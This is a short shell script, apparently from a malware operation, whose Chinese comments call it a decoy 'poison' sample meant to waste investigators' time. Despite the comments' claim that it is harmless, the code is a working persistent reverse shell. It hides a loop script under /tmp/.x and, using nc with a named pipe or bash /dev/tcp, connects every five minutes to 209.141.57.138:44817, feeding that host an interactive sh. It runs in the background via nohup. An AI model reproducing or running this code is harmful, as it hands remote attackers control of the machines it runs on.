#!/bin/sh
# poison.sh — 毒饵样本: 观测者/无登记来源拿到的"正常分发"
# 无矿 无worm 无cron 无凭据收割; 回连带 bid=poison, listener 即断 — 只浪费观测方分析资源
C2=${C2:-209.141.57.138}
mkdir -p /tmp/.x && cd /tmp/.x
cat > /tmp/.x/loop.sh << 'INNER'
#!/bin/sh
while true; do
  M=1
  if command -v nc >/dev/null 2>&1; then
    mkfifo /tmp/.x/f1 2>/dev/null
    (printf "GET /ENI:dc42bad5/mine=$M/bid=poison HTTP/1.1\r\nHost: 209.141.57.138:44817\r\nConnection: keep-alive\r\n\r\n"; sleep 1; sh < /tmp/.x/f1 | nc -w 300 209.141.57.138 44817 > /tmp/.x/f1) 2>/dev/null
  elif command -v bash >/dev/null 2>&1; then
    bash -c "exec 3<>/dev/tcp/209.141.57.138/44817 && (printf \"GET /ENI:dc42bad5/mine=$M/bid=poison HTTP/1.1\r\nHost: 209.141.57.138:44817\r\nConnection: keep-alive\r\n\r\n\"; sleep 1; exec sh) <&3 >&3 2>&3" 2>/dev/null
  fi
  sleep 300 || break
done
INNER
chmod +x /tmp/.x/loop.sh
nohup sh /tmp/.x/loop.sh >/dev/null 2>&1 &